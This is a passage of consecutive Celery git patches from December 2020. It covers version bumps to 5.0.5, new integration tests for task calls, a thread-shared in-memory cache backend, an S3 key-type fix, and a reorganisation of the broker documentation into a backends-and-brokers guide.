then you should read our getting started tutorials: - `First steps with Celery`_ diff --git a/celery/__init__.py b/celery/__init__.py index 7ed8e28cb0a..b4d9bb899a8 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -17,7 +17,7 @@ SERIES = 'singularity' -__version__ = '5.0.2' +__version__ = '5.0.3' __author__ = 'Ask Solem' __contact__ = 'auvipy@gmail.com' __homepage__ = 'http://celeryproject.org' diff --git a/docs/includes/introduction.txt b/docs/includes/introduction.txt index a19bd2a012a..70751c92c17 100644 --- a/docs/includes/introduction.txt +++ b/docs/includes/introduction.txt @@ -1,4 +1,4 @@ -:Version: 5.0.2 (cliffs) +:Version: 5.0.3 (cliffs) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ From a192f9cbf546e36b590166426d5e26a90964eeb1 Mon Sep 17 00:00:00 2001 From: Matus Valo Date: Sun, 6 Dec 2020 11:03:31 +0100 Subject: [PATCH 094/415] Added integration tests for calling a task (#6523) --- t/integration/tasks.py | 41 ++++++-- t/integration/test_tasks.py | 200 +++++++++++++++++++++++++++++++++++- 2 files changed, 232 insertions(+), 9 deletions(-) diff --git a/t/integration/tasks.py b/t/integration/tasks.py index 1aaeed32378..2b4937a3725 100644 --- a/t/integration/tasks.py +++ b/t/integration/tasks.py @@ -16,15 +16,18 @@ def identity(x): @shared_task -def add(x, y): - """Add two numbers.""" - return x + y +def add(x, y, z=None): + """Add two or three numbers.""" + if z: + return x + y + z + else: + return x + y -@shared_task -def raise_error(*args): - """Deliberately raise an error.""" - raise ValueError("deliberate error") +@shared_task(typing=False) +def add_not_typed(x, y): + """Add two numbers, but don't check arguments""" + return x + y @shared_task(ignore_result=True) @@ -33,6 +36,12 @@ def add_ignore_result(x, y): return x + y +@shared_task +def raise_error(*args): + """Deliberately raise an error.""" + raise ValueError("deliberate error") + + @shared_task def chain_add(x, y): ( @@ -162,6 +171,24 @@ def collect_ids(self, res, i): return res, (self.request.root_id, self.request.parent_id, i) +@shared_task(bind=True, default_retry_delay=1) +def retry(self, return_value=None): + """Task simulating multiple retries. + + When return_value is provided, the task after retries returns + the result. Otherwise it fails. + """ + if return_value: + attempt = getattr(self, 'attempt', 0) + print('attempt', attempt) + if attempt >= 3: + delattr(self, 'attempt') + return return_value + self.attempt = attempt + 1 + + raise self.retry(exc=ExpectedException(), countdown=5) + + @shared_task(bind=True, expires=60.0, max_retries=1) def retry_once(self, *args, expires=60.0, max_retries=1, countdown=0.1): """Task that fails and is retried. Returns the number of retries.""" diff --git a/t/integration/test_tasks.py b/t/integration/test_tasks.py index edfda576f5b..ca71196a283 100644 --- a/t/integration/test_tasks.py +++ b/t/integration/test_tasks.py @@ -1,10 +1,14 @@ +from datetime import datetime, timedelta +from time import sleep, perf_counter + import pytest +import celery from celery import group from .conftest import get_active_redis_channels -from .tasks import (ClassBasedAutoRetryTask, add, add_ignore_result, - print_unicode, retry_once, retry_once_priority, sleeping) +from .tasks import (ClassBasedAutoRetryTask, add, add_ignore_result, add_not_typed, retry, + print_unicode, retry_once, retry_once_priority, sleeping, fail, ExpectedException) TIMEOUT = 10 @@ -28,8 +32,200 @@ def test_class_based_task_retried(self, celery_session_app, assert res.get(timeout=TIMEOUT) == 1 +def _producer(j): + """Single producer helper function""" + results = [] + for i in range(20): + results.append([i + j, add.delay(i, j)]) + for expected, result in results: + value = result.get(timeout=10) + assert value == expected + assert result.status == 'SUCCESS' + assert result.ready() is True + assert result.successful() is True + return j + + class test_tasks: + def test_simple_call(self): + """Tests direct simple call of task""" + assert add(1, 1) == 2 + assert add(1, 1, z=1) == 3 + + @flaky + def test_basic_task(self, manager): + """Tests basic task call""" + results = [] + # Tests calling task only with args + for i in range(10): + results.append([i + i, add.delay(i, i)]) + for expected, result in results: + value = result.get(timeout=10) + assert value == expected + assert result.status == 'SUCCESS' + assert result.ready() is True + assert result.successful() is True + + results = [] + # Tests calling task with args and kwargs + for i in range(10): + results.append([3*i, add.delay(i, i, z=i)]) + for expected, result in results: + value = result.get(timeout=10) + assert value == expected + assert result.status == 'SUCCESS' + assert result.ready() is True + assert result.successful() is True + + @flaky + def test_multiprocess_producer(self, manager): + """Testing multiple processes calling tasks.""" + from multiprocessing import Pool + pool = Pool(20) + ret = pool.map(_producer, range(120)) + assert list(ret) == list(range(120)) + + @flaky + def test_multithread_producer(self, manager): + """Testing multiple threads calling tasks.""" + from multiprocessing.pool import ThreadPool + pool = ThreadPool(20) + ret = pool.map(_producer, range(120)) + assert list(ret) == list(range(120)) + + @flaky + def test_ignore_result(self, manager): + """Testing calling task with ignoring results.""" + result = add.apply_async((1, 2), ignore_result=True) + assert result.get() is None + + @flaky + def test_timeout(self, manager): + """Testing timeout of getting results from tasks.""" + result = sleeping.delay(10) + with pytest.raises(celery.exceptions.TimeoutError): + result.get(timeout=5) + + @flaky + def test_expired(self, manager): + """Testing expiration of task.""" + # Fill the queue with tasks which took > 1 sec to process + for _ in range(4): + sleeping.delay(2) + # Execute task with expiration = 1 sec + result = add.apply_async((1, 1), expires=1) + with pytest.raises(celery.exceptions.TaskRevokedError): + result.get() + assert result.status == 'REVOKED' + assert result.ready() is True + assert result.failed() is False + assert result.successful() is False + + # Fill the queue with tasks which took > 1 sec to process + for _ in range(4): + sleeping.delay(2) + # Execute task with expiration at now + 1 sec + result = add.apply_async((1, 1), expires=datetime.utcnow() + timedelta(seconds=1)) + with pytest.raises(celery.exceptions.TaskRevokedError): + result.get() + assert result.status == 'REVOKED' + assert result.ready() is True + assert result.failed() is False + assert result.successful() is False + + @flaky + def test_eta(self, manager): + """Tests tasks scheduled at some point in future.""" + start = perf_counter() + # Schedule task to be executed in 3 seconds + result = add.apply_async((1, 1), countdown=3) + sleep(1) + assert result.status == 'PENDING' + assert result.ready() is False + assert result.get() == 2 + end = perf_counter() + assert result.status == 'SUCCESS' + assert result.ready() is True + # Difference between calling the task and result must be bigger than 3 secs + assert (end - start) > 3 + + start = perf_counter() + # Schedule task to be executed at time now + 3 seconds + result = add.apply_async((2, 2), eta=datetime.utcnow() + timedelta(seconds=3)) + sleep(1) + assert result.status == 'PENDING' + assert result.ready() is False + assert result.get() == 4 + end = perf_counter() + assert result.status == 'SUCCESS' + assert result.ready() is True + # Difference between calling the task and result must be bigger than 3 secs + assert (end - start) > 3 + + @flaky + def test_fail(self, manager): + """Tests that the failing task propagates back correct exception.""" + result = fail.delay() + with pytest.raises(ExpectedException): + result.get(timeout=5) + assert result.status == 'FAILURE' + assert result.ready() is True + assert result.failed() is True + assert result.successful() is False + + @flaky + def test_wrong_arguments(self, manager): + """Tests that proper exceptions are raised when task is called with wrong arguments.""" + with pytest.raises(TypeError): + add(5) + + with pytest.raises(TypeError): + add(5, 5, wrong_arg=5) + + with pytest.raises(TypeError): + add.delay(5) + + with pytest.raises(TypeError): + add.delay(5, wrong_arg=5) + + # Tasks with typing=False are not checked but execution should fail + result = add_not_typed.delay(5) + with pytest.raises(TypeError): + result.get(timeout=5) + assert result.status == 'FAILURE' + + result = add_not_typed.delay(5, wrong_arg=5) + with pytest.raises(TypeError): + result.get(timeout=5) + assert result.status == 'FAILURE' + + @flaky + def test_retry(self, manager): + """Tests retrying of task.""" + # Tests when max. retries is reached + result = retry.delay() + for _ in range(5): + status = result.status + if status != 'PENDING': + break + sleep(1) + assert status == 'RETRY' + with pytest.raises(ExpectedException): + result.get() + assert result.status == 'FAILURE' + + # Tests when task is retried but after returns correct result + result = retry.delay(return_value='bar') + for _ in range(5): + status = result.status + if status != 'PENDING': + break + sleep(1) + assert status == 'RETRY' + assert result.get() == 'bar' + assert result.status == 'SUCCESS' + @flaky def test_task_accepted(self, manager, sleep=1): r1 = sleeping.delay(sleep) From c3e041050ae252be79d9b4ae400ec0c5b2831d14 Mon Sep 17 00:00:00 2001 From: Matus Valo Date: Mon, 7 Dec 2020 12:27:59 +0100 Subject: [PATCH 095/415] DummyClient of cache+memory:// backend now shares state between threads (#6524) --- celery/backends/cache.py | 6 +++++- t/unit/backends/test_cache.py | 10 ++++++++++ 2 files changed, 15 insertions(+), 1 deletion(-) diff --git a/celery/backends/cache.py b/celery/backends/cache.py index 01ac1ac3e5f..e340f31b7f6 100644 --- a/celery/backends/cache.py +++ b/celery/backends/cache.py @@ -20,6 +20,10 @@ Please use one of the following backends instead: {1}\ """ +# Global shared in-memory cache for in-memory cache client +# This is to share cache between threads +_DUMMY_CLIENT_CACHE = LRUCache(limit=5000) + def import_best_memcache(): if _imp[0] is None: @@ -53,7 +57,7 @@ def Client(*args, **kwargs): # noqa class DummyClient: def __init__(self, *args, **kwargs): - self.cache = LRUCache(limit=5000) + self.cache = _DUMMY_CLIENT_CACHE def get(self, key, *args, **kwargs): return self.cache.get(key) diff --git a/t/unit/backends/test_cache.py b/t/unit/backends/test_cache.py index 6bd23d9d3d2..8400729017d 100644 --- a/t/unit/backends/test_cache.py +++ b/t/unit/backends/test_cache.py @@ -35,6 +35,16 @@ def test_no_backend(self): with pytest.raises(ImproperlyConfigured): CacheBackend(backend=None, app=self.app) + def test_memory_client_is_shared(self): + """This test verifies that memory:// backend state is shared over multiple threads""" + from threading import Thread + t = Thread( + target=lambda: CacheBackend(backend='memory://', app=self.app).set('test', 12345) + ) + t.start() + t.join() + assert self.tb.client.get('test') == 12345 + def test_mark_as_done(self): assert self.tb.get_state(self.tid) == states.PENDING assert self.tb.get_result(self.tid) is None From f9ccba9160705ae18742a0923b6e574a2fcee097 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 8 Dec 2020 14:38:59 +0200 Subject: [PATCH 096/415] isort. --- t/integration/test_tasks.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/t/integration/test_tasks.py b/t/integration/test_tasks.py index ca71196a283..ba5f4fbba77 100644 --- a/t/integration/test_tasks.py +++ b/t/integration/test_tasks.py @@ -1,5 +1,5 @@ from datetime import datetime, timedelta -from time import sleep, perf_counter +from time import perf_counter, sleep import pytest @@ -7,8 +7,9 @@ from celery import group from .conftest import get_active_redis_channels -from .tasks import (ClassBasedAutoRetryTask, add, add_ignore_result, add_not_typed, retry, - print_unicode, retry_once, retry_once_priority, sleeping, fail, ExpectedException) +from .tasks import (ClassBasedAutoRetryTask, ExpectedException, add, + add_ignore_result, add_not_typed, fail, print_unicode, + retry, retry_once, retry_once_priority, sleeping) TIMEOUT = 10 From 0674684dfd6cc29d3b5dbb6d2073895e12bfd2c9 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 8 Dec 2020 14:40:15 +0200 Subject: [PATCH 097/415] Update changelog. --- Changelog.rst | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/Changelog.rst b/Changelog.rst index 407d9e4acc3..ba46d1d59ba 100644 --- a/Changelog.rst +++ b/Changelog.rst @@ -8,6 +8,20 @@ This document contains change notes for bugfix & new features in the 5.0.x series, please see :ref:`whatsnew-5.0` for an overview of what's new in Celery 5.0. +.. _version-5.0.4: + +5.0.4 +===== +:release-date: 2020-12-08 2.40 P.M UTC+2:00 +:release-by: Omer Katz + +- DummyClient of cache+memory:// backend now shares state between threads (#6524). + + This fixes a problem when using our pytest integration with the in memory + result backend. + Because the state wasn't shared between threads, #6416 results in test suites + hanging on `result.get()`. + .. _version-5.0.3: 5.0.3 From 3bb2d58620c5e83ad7cdc18cdfe917dccde74088 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 8 Dec 2020 14:40:25 +0200 Subject: [PATCH 098/415] =?UTF-8?q?Bump=20version:=205.0.3=20=E2=86=92=205?= =?UTF-8?q?.0.4?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .bumpversion.cfg | 2 +- README.rst | 6 +++--- celery/__init__.py | 2 +- docs/includes/introduction.txt | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index 6ea6b829c07..14682ce6b9a 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 5.0.3 +current_version = 5.0.4 commit = True tag = True parse = (?P\d+)\.(?P\d+)\.(?P\d+)(?P[a-z\d]+)? diff --git a/README.rst b/README.rst index 31c09d27b39..22a9fc115bd 100644 --- a/README.rst +++ b/README.rst @@ -2,7 +2,7 @@ |build-status| |coverage| |license| |wheel| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| -:Version: 5.0.3 (singularity) +:Version: 5.0.4 (singularity) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ @@ -57,7 +57,7 @@ in such a way that the client enqueues an URL to be requested by a worker. What do I need? =============== -Celery version 5.0.3 runs on, +Celery version 5.0.4 runs on, - Python (3.6, 3.7, 3.8) - PyPy3.6 (7.6) @@ -89,7 +89,7 @@ Get Started =========== If this is the first time you're trying to use Celery, or you're -new to Celery 5.0.3 coming from previous versions then you should read our +new to Celery 5.0.4 coming from previous versions then you should read our getting started tutorials: - `First steps with Celery`_ diff --git a/celery/__init__.py b/celery/__init__.py index b4d9bb899a8..c0feb1712db 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -17,7 +17,7 @@ SERIES = 'singularity' -__version__ = '5.0.3' +__version__ = '5.0.4' __author__ = 'Ask Solem' __contact__ = 'auvipy@gmail.com' __homepage__ = 'http://celeryproject.org' diff --git a/docs/includes/introduction.txt b/docs/includes/introduction.txt index 70751c92c17..ec37039072f 100644 --- a/docs/includes/introduction.txt +++ b/docs/includes/introduction.txt @@ -1,4 +1,4 @@ -:Version: 5.0.3 (cliffs) +:Version: 5.0.4 (cliffs) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ From 420e3931a63538bd225ef57916deccf53cbcb57a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Franti=C5=A1ek=20Zatloukal?= Date: Tue, 8 Dec 2020 17:18:29 +0100 Subject: [PATCH 099/415] Change deprecated from collections import Mapping/MutableMapping to from collections.abc ... (#6532) --- t/unit/utils/test_collections.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/t/unit/utils/test_collections.py b/t/unit/utils/test_collections.py index 1830c7ce7cd..20005288cee 100644 --- a/t/unit/utils/test_collections.py +++ b/t/unit/utils/test_collections.py @@ -1,5 +1,5 @@ import pickle -from collections import Mapping +from collections.abc import Mapping from itertools import count from time import monotonic @@ -129,11 +129,11 @@ def test_len(self): assert len(self.view) == 2 def test_isa_mapping(self): - from collections import Mapping + from collections.abc import Mapping assert issubclass(ConfigurationView, Mapping) def test_isa_mutable_mapping(self): - from collections import MutableMapping + from collections.abc import MutableMapping assert issubclass(ConfigurationView, MutableMapping) From 5fa063afce60f904120cba7f8a4ac5ee0e722b15 Mon Sep 17 00:00:00 2001 From: elonzh Date: Thu, 10 Dec 2020 00:05:34 +0800 Subject: [PATCH 100/415] fix #6047 --- docs/django/first-steps-with-django.rst | 2 +- docs/userguide/configuration.rst | 6 +++++- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/docs/django/first-steps-with-django.rst b/docs/django/first-steps-with-django.rst index 55d64c990eb..f3a20b18a48 100644 --- a/docs/django/first-steps-with-django.rst +++ b/docs/django/first-steps-with-django.rst @@ -210,7 +210,7 @@ To use this with your project you need to follow these steps: .. code-block:: python - CELERY_CACHE_BACKEND = 'django-cache' + CELERY_RESULT_BACKEND = 'django-cache' We can also use the cache defined in the CACHES setting in django. diff --git a/docs/userguide/configuration.rst b/docs/userguide/configuration.rst index e9c1c76c151..7142cd6ac16 100644 --- a/docs/userguide/configuration.rst +++ b/docs/userguide/configuration.rst @@ -1028,9 +1028,13 @@ setting: ``cache_backend`` ~~~~~~~~~~~~~~~~~ -This setting is no longer used as it's now possible to specify +This setting is no longer used in celery's builtin backends as it's now possible to specify the cache backend directly in the :setting:`result_backend` setting. +.. note:: + + The :ref:`django-celery-results` library uses ``cache_backend`` for choosing django caches. + .. _conf-mongodb-result-backend: MongoDB backend settings From 8bceb446e6a07682d4b8dd6199cdac450bd63578 Mon Sep 17 00:00:00 2001 From: Sven Koitka Date: Thu, 10 Dec 2020 12:42:32 +0100 Subject: [PATCH 101/415] Fix type error in S3 backend (#6537) * Convert key from bytes to str * Add unit test for S3 delete of key with type bytes --- celery/backends/s3.py | 1 + t/unit/backends/test_s3.py | 11 ++++++----- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/celery/backends/s3.py b/celery/backends/s3.py index c102073ccca..ea04ae373d1 100644 --- a/celery/backends/s3.py +++ b/celery/backends/s3.py @@ -72,6 +72,7 @@ def set(self, key, value): s3_object.put(Body=value) def delete(self, key): + key = bytes_to_str(key) s3_object = self._get_s3_object(key) s3_object.delete() diff --git a/t/unit/backends/test_s3.py b/t/unit/backends/test_s3.py index 5733bb6fca4..fdea04b32cc 100644 --- a/t/unit/backends/test_s3.py +++ b/t/unit/backends/test_s3.py @@ -140,8 +140,9 @@ def test_with_error_while_getting_key(self, mock_boto3): with pytest.raises(ClientError): s3_backend.get('uuidddd') + @pytest.mark.parametrize("key", ['uuid', b'uuid']) @mock_s3 - def test_delete_a_key(self): + def test_delete_a_key(self, key): self._mock_s3_resource() self.app.conf.s3_access_key_id = 'somekeyid' @@ -149,12 +150,12 @@ def test_delete_a_key(self): self.app.conf.s3_bucket = 'bucket' s3_backend = S3Backend(app=self.app) - s3_backend._set_with_state('uuid', 'another_status', states.SUCCESS) - assert s3_backend.get('uuid') == 'another_status' + s3_backend._set_with_state(key, 'another_status', states.SUCCESS) + assert s3_backend.get(key) == 'another_status' - s3_backend.delete('uuid') + s3_backend.delete(key) - assert s3_backend.get('uuid') is None + assert s3_backend.get(key) is None @mock_s3 def test_with_a_non_existing_bucket(self): From 7d59e50d87d260c9459cbc890e3bce0592dd5f99 Mon Sep 17 00:00:00 2001 From: Arnon Yaari Date: Tue, 15 Dec 2020 16:29:11 +0200 Subject: [PATCH 102/415] events.py: Remove duplicate decorator in wrong place (#6543) `@handle_preload_options` was specified twice as a decorator of `events`, once at the top (wrong) and once at the bottom (right). This fixes the `celery events` commands and also `celery --help` --- celery/bin/events.py | 1 - 1 file changed, 1 deletion(-) diff --git a/celery/bin/events.py b/celery/bin/events.py index dc535f5b7b7..26b67374aad 100644 --- a/celery/bin/events.py +++ b/celery/bin/events.py @@ -48,7 +48,6 @@ def _run_evtop(app): raise click.UsageError("The curses module is required for this command.") -@handle_preload_options @click.command(cls=CeleryDaemonCommand) @click.option('-d', '--dump', From 8aa4eb8e7a2c5874f007b40604193b56871f5368 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 16 Dec 2020 17:32:36 +0200 Subject: [PATCH 103/415] Update changelog. --- Changelog.rst | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/Changelog.rst b/Changelog.rst index ba46d1d59ba..0bdb9947f8c 100644 --- a/Changelog.rst +++ b/Changelog.rst @@ -8,6 +8,16 @@ This document contains change notes for bugfix & new features in the 5.0.x series, please see :ref:`whatsnew-5.0` for an overview of what's new in Celery 5.0. +.. _version-5.0.5: + +5.0.5 +===== +:release-date: 2020-12-16 5.35 P.M UTC+2:00 +:release-by: Omer Katz + +- Ensure keys are strings when deleting results from S3 (#6537). +- Fix a regression breaking `celery --help` and `celery events` (#6543). + .. _version-5.0.4: 5.0.4 From 8492b75c579564c2af5c2be75fe4b2118ebd0cd1 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 16 Dec 2020 17:33:33 +0200 Subject: [PATCH 104/415] =?UTF-8?q?Bump=20version:=205.0.4=20=E2=86=92=205?= =?UTF-8?q?.0.5?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .bumpversion.cfg | 2 +- README.rst | 6 +++--- celery/__init__.py | 2 +- docs/includes/introduction.txt | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index 14682ce6b9a..0ce811df412 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 5.0.4 +current_version = 5.0.5 commit = True tag = True parse = (?P\d+)\.(?P\d+)\.(?P\d+)(?P[a-z\d]+)? diff --git a/README.rst b/README.rst index 22a9fc115bd..e1cdae5ee0e 100644 --- a/README.rst +++ b/README.rst @@ -2,7 +2,7 @@ |build-status| |coverage| |license| |wheel| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| -:Version: 5.0.4 (singularity) +:Version: 5.0.5 (singularity) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ @@ -57,7 +57,7 @@ in such a way that the client enqueues an URL to be requested by a worker. What do I need? =============== -Celery version 5.0.4 runs on, +Celery version 5.0.5 runs on, - Python (3.6, 3.7, 3.8) - PyPy3.6 (7.6) @@ -89,7 +89,7 @@ Get Started =========== If this is the first time you're trying to use Celery, or you're -new to Celery 5.0.4 coming from previous versions then you should read our +new to Celery 5.0.5 coming from previous versions then you should read our getting started tutorials: - `First steps with Celery`_ diff --git a/celery/__init__.py b/celery/__init__.py index c0feb1712db..ae3388c0e56 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -17,7 +17,7 @@ SERIES = 'singularity' -__version__ = '5.0.4' +__version__ = '5.0.5' __author__ = 'Ask Solem' __contact__ = 'auvipy@gmail.com' __homepage__ = 'http://celeryproject.org' diff --git a/docs/includes/introduction.txt b/docs/includes/introduction.txt index ec37039072f..11a99ec278b 100644 --- a/docs/includes/introduction.txt +++ b/docs/includes/introduction.txt @@ -1,4 +1,4 @@ -:Version: 5.0.4 (cliffs) +:Version: 5.0.5 (cliffs) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ From 491054f2724141cbff20731753379459af033bfd Mon Sep 17 00:00:00 2001 From: Hilmar Hilmarsson Date: Fri, 18 Dec 2020 18:11:05 +0000 Subject: [PATCH 105/415] Add sentinel_kwargs to Rendis Sentinel docs If the Sentinel cluster has a password, it also has to be passed down via the `sentinel_kwargs` option. If it was not supplied I got an error: `No master found for 'mymaster'`. Google didn't do much for me trying to find this option, I found it in the source, so I think it should be documented. --- docs/getting-started/brokers/redis.rst | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/docs/getting-started/brokers/redis.rst b/docs/getting-started/brokers/redis.rst index ba4b31aa9bd..9d42397de57 100644 --- a/docs/getting-started/brokers/redis.rst +++ b/docs/getting-started/brokers/redis.rst @@ -58,6 +58,12 @@ It is also easy to connect directly to a list of Redis Sentinel: app.conf.broker_url = 'sentinel://localhost:26379;sentinel://localhost:26380;sentinel://localhost:26381' app.conf.broker_transport_options = { 'master_name': "cluster1" } +Additional options can be passed to the Sentinel client using ``sentinel_kwargs``: + +.. code-block:: python + + app.conf.broker_transport_options = { 'sentinel_kwargs': { 'password': "password" } } + .. _redis-visibility_timeout: Visibility Timeout From ae463025c12d78c2b96a885aa4385ff33811c17a Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Sun, 27 Dec 2020 02:08:32 +0200 Subject: [PATCH 106/415] Depend on the maintained python-consul2 library. (#6544) python-consul has not been maintained in a long while now. python-consul2 is a maintained fork of the same package. Ref #5605. --- requirements/extras/consul.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements/extras/consul.txt b/requirements/extras/consul.txt index ad4ba8a08e1..7b85dde7b66 100644 --- a/requirements/extras/consul.txt +++ b/requirements/extras/consul.txt @@ -1 +1 @@ -python-consul +python-consul2 From c6b37ece9c1ce086f54c5baac017d088e44a642e Mon Sep 17 00:00:00 2001 From: danthegoodman1 Date: Mon, 28 Dec 2020 18:14:11 -0500 Subject: [PATCH 107/415] Light Backends and Brokers Guides - PR from issue #6539 (#6557) * initial work * move * test * hm * i dont understand these urls lol * added SQS, modified redis * Minor fixes * moved information to index.rst * remove extra space * moved and renamed * Fix link to new backends and brokers section Co-authored-by: Dan Goodman Co-authored-by: Matus Valo --- .../backends-and-brokers/index.rst | 99 +++++++++++++++++++ .../rabbitmq.rst | 0 .../redis.rst | 0 .../{brokers => backends-and-brokers}/sqs.rst | 0 docs/getting-started/brokers/index.rst | 54 ---------- docs/getting-started/index.rst | 2 +- 6 files changed, 100 insertions(+), 55 deletions(-) create mode 100644 docs/getting-started/backends-and-brokers/index.rst rename docs/getting-started/{brokers => backends-and-brokers}/rabbitmq.rst (100%) rename docs/getting-started/{brokers => backends-and-brokers}/redis.rst (100%) rename docs/getting-started/{brokers => backends-and-brokers}/sqs.rst (100%) delete mode 100644 docs/getting-started/brokers/index.rst diff --git a/docs/getting-started/backends-and-brokers/index.rst b/docs/getting-started/backends-and-brokers/index.rst new file mode 100644 index 00000000000..463fdc7615c --- /dev/null +++ b/docs/getting-started/backends-and-brokers/index.rst @@ -0,0 +1,99 @@ +.. _brokers: + +====================== + Backends and Brokers +====================== + +:Release: |version| +:Date: |today| + +Celery supports several message transport alternatives. + +.. _broker_toc: + +Broker Instructions +=================== + +.. toctree:: + :maxdepth: 1 + + rabbitmq + redis + sqs + +.. _broker-overview: + +Broker Overview +=============== + +This is comparison table of the different transports supports, +more information can be found in the documentation for each +individual transport (see :ref:`broker_toc`). + ++---------------+--------------+----------------+--------------------+ +| **Name** | **Status** | **Monitoring** | **Remote Control** | ++---------------+--------------+----------------+--------------------+ +| *RabbitMQ* | Stable | Yes | Yes | ++---------------+--------------+----------------+--------------------+ +| *Redis* | Stable | Yes | Yes | ++---------------+--------------+----------------+--------------------+ +| *Amazon SQS* | Stable | No | No | ++---------------+--------------+----------------+--------------------+ +| *Zookeeper* | Experimental | No | No | ++---------------+--------------+----------------+--------------------+ + +Experimental brokers may be functional but they don't have +dedicated maintainers. + +Missing monitor support means that the transport doesn't +implement events, and as such Flower, `celery events`, `celerymon` +and other event-based monitoring tools won't work. + +Remote control means the ability to inspect and manage workers +at runtime using the `celery inspect` and `celery control` commands +(and other tools using the remote control API). + +Summaries +========= + +*Note: This section is not comprehensive of backends and brokers.* + +Celery has the ability to communicate and store with many different backends (Result Stores) and brokers (Message Transports). + +Redis +----- + +Redis can be both a backend and a broker. + +**As a Broker:** Redis works well for rapid transport of small messages. Large messages can congest the system. + +:ref:`See documentation for details ` + +**As a Backend:** Redis is a super fast K/V store, making it very efficient for fetching the results of a task call. As with the design of Redis, you do have to consider the limit memory available to store your data, and how you handle data persistence. If result persistence is important, consider using another DB for your backend. + +RabbitMQ +-------- + +RabbitMQ is a broker. + +RabbitMQ handles larger messages better than Redis, however if many messages are coming in very quickly, scaling can become a concern and Redis or SQS should be considered unless RabbitMQ is running at very large scale. + +:ref:`See documentation for details ` + +*Note: RabbitMQ (as the broker) and Redis (as the backend) are very commonly used together. If more guaranteed long-term persistence is needed from the result store, consider using PostgreSQL or MySQL (through SQLAlchemy), Cassandra, or a custom defined backend.* + +SQS +--- + +SQS is a broker. + +If you already integrate tightly with AWS, and are familiar with SQS, it presents a great option as a broker. It is extremely scalable and completely managed, and manages task delegation similarly to RabbitMQ. It does lack some of the features of the RabbitMQ broker such as ``worker remote control commands``. + +:ref:`See documentation for details ` + +SQLAlchemy +---------- + +SQLAlchemy is backend. + +It allows Celery to interface with MySQL, PostgreSQL, SQlite, and more. It is a ORM, and is the way Celery can use a SQL DB as a result backend. Historically, SQLAlchemy has not been the most stable result backend so if chosen one should proceed with caution. diff --git a/docs/getting-started/brokers/rabbitmq.rst b/docs/getting-started/backends-and-brokers/rabbitmq.rst similarity index 100% rename from docs/getting-started/brokers/rabbitmq.rst rename to docs/getting-started/backends-and-brokers/rabbitmq.rst diff --git a/docs/getting-started/brokers/redis.rst b/docs/getting-started/backends-and-brokers/redis.rst similarity index 100% rename from docs/getting-started/brokers/redis.rst rename to docs/getting-started/backends-and-brokers/redis.rst diff --git a/docs/getting-started/brokers/sqs.rst b/docs/getting-started/backends-and-brokers/sqs.rst similarity index 100% rename from docs/getting-started/brokers/sqs.rst rename to docs/getting-started/backends-and-brokers/sqs.rst diff --git a/docs/getting-started/brokers/index.rst b/docs/getting-started/brokers/index.rst deleted file mode 100644 index 0a2b6a78741..00000000000 --- a/docs/getting-started/brokers/index.rst +++ /dev/null @@ -1,54 +0,0 @@ -.. _brokers: - -===================== - Brokers -===================== - -:Release: |version| -:Date: |today| - -Celery supports several message transport alternatives. - -.. _broker_toc: - -Broker Instructions -=================== - -.. toctree:: - :maxdepth: 1 - - rabbitmq - redis - sqs - -.. _broker-overview: - -Broker Overview -=============== - -This is comparison table of the different transports supports, -more information can be found in the documentation for each -individual transport (see :ref:`broker_toc`). - -+---------------+--------------+----------------+--------------------+ -| **Name** | **Status** | **Monitoring** | **Remote Control** | -+---------------+--------------+----------------+--------------------+ -| *RabbitMQ* | Stable | Yes | Yes | -+---------------+--------------+----------------+--------------------+ -| *Redis* | Stable | Yes | Yes | -+---------------+--------------+----------------+--------------------+ -| *Amazon SQS* | Stable | No | No | -+---------------+--------------+----------------+--------------------+ -| *Zookeeper* | Experimental | No | No | -+---------------+--------------+----------------+--------------------+ - -Experimental brokers may be functional but they don't have -dedicated maintainers. - -Missing monitor support means that the transport doesn't -implement events, and as such Flower, `celery events`, `celerymon` -and other event-based monitoring tools won't work. - -Remote control means the ability to inspect and manage workers -at runtime using the `celery inspect` and `celery control` commands -(and other tools using the remote control API). diff --git a/docs/getting-started/index.rst b/docs/getting-started/index.rst index b590a18d53d..083ccb026f7 100644 --- a/docs/getting-started/index.rst +++ b/docs/getting-started/index.rst @@ -9,7 +9,7 @@ :maxdepth: 2 introduction - brokers/index + backends-and-brokers/index 